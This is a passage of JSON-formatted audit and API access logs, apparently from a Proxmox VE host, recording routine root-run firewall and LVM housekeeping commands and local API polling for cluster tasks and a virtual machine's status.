ppid=1156 pid=58173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965812037,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965415486,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.486:65527): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964336015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.015:60589): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1477d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965812037,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965415481,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.481:65526): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964336008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.008:60588): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed6d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965812037,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965415480,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.480:65525): argc=1 a0=\"date\""} {"@timestamp":1781964336002,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.002:60587): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13aa40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965812037,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965415475,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.475:65523): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964335996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.996:60586): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e3880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965810768,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781965415467,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.467:65522): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964335989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.989:60585): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13aa40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965810768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781965415460,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.460:65521): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964335982,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.982:60584): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8afc880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965808855,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965415453,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.453:65520): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964335975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.975:60583): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965808855,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 910"} {"@timestamp":1781965415445,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.445:65519): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964335969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.969:60582): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965808855,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965415439,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.439:65517): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964335963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.963:60581): arch=c000003e syscall=59 success=yes exit=0 a0=589787fbbb60 a1=589787fc7e40 a2=589787f95680 a3=5 items=2 ppid=58159 pid=58165 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965808855,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965415435,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.435:65516): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964335959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.959:60580): arch=c000003e syscall=59 success=yes exit=0 a0=58975e79fac8 a1=7fffa1adb4b0 a2=589787f95680 a3=58975e78324e items=2 ppid=58159 pid=58161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965807747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965415429,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.429:65515): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964335957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.957:60579): arch=c000003e syscall=59 success=yes exit=0 a0=7fffa1adb470 a1=589787fb7200 a2=589787f95680 a3=5 items=2 ppid=58159 pid=58160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965807747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965415423,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.423:65514): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964335952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.952:60577): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965806334,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781965415418,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.418:65513): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964335944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.944:60576): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965806334,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965415413,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.413:65512): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964335935,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.935:60575): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965804733,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 520"} {"@timestamp":1781965415405,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.405:65511): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964335929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.929:60574): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4ad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965804733,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 943"} {"@timestamp":1781965415398,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.398:65510): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964335922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.922:60573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14afd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965804733,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965415395,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.395:65509): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964335915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.915:60572): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965804733,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965415391,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.391:65508): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964334809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964334.809:60571): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a52d70 a1=64f8d73de900 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965803245,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965415389,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.389:65507): argc=1 a0=\"date\""} {"@timestamp":1781964334772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964334.772:60570): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5a40 a1=64f8d73b93a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965803245,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965415385,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.385:65505): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964333822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964333.822:60569): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965802208,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965415378,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.378:65504): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964333809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964333.809:60566): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965802208,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965415370,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.370:65503): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964328797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964328.797:60563): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965800191,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781965415364,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.364:65502): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964328788,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964328.788:60560): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965800191,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965415356,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.356:65501): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964325902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.902:60557): arch=c000003e syscall=59 success=yes exit=0 a0=6008142490e0 a1=600814245e60 a2=600814227680 a3=5 items=2 ppid=58139 pid=58145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965800191,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965415348,"@rawstring":"node=pve type=EXECVE msg=audit(1781965415.348:65500): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964325898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.898:60556): arch=c000003e syscall=59 success=yes exit=0 a0=600800925ac8 a1=7fff28798270 a2=600814227680 a3=60080090924e items=2 ppid=58139 pid=58141 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965800191,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965414094,"@rawstring":"node=pve type=EXECVE msg=audit(1781965414.094:65499): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964325897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.897:60555): arch=c000003e syscall=59 success=yes exit=0 a0=7fff28798230 a1=60081422e310 a2=600814227680 a3=5 items=2 ppid=58139 pid=58140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965799066,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965414073,"@rawstring":"node=pve type=EXECVE msg=audit(1781965414.073:65498): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964325892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.892:60553): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965799066,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965412918,"@rawstring":"node=pve type=EXECVE msg=audit(1781965412.918:65497): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964325883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.883:60552): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965799066,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965412.906:65494): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964325874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.874:60551): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965796750,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965407899,"@rawstring":"node=pve type=EXECVE msg=audit(1781965407.899:65490): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964325866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.866:60550): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965796750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=EXECVE msg=audit(1781965407.893:65487): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964325858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.858:60549): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965796750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965405337,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.337:65484): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964325852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.852:60548): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=59fffaaf0740 items=0 ppid=1156 pid=58134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965796750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965405334,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.334:65483): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964325849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.849:60547): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13fe90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795749,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965405332,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.332:65482): argc=1 a0=\"date\""} {"@timestamp":1781964325841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.841:60546): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13c1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} 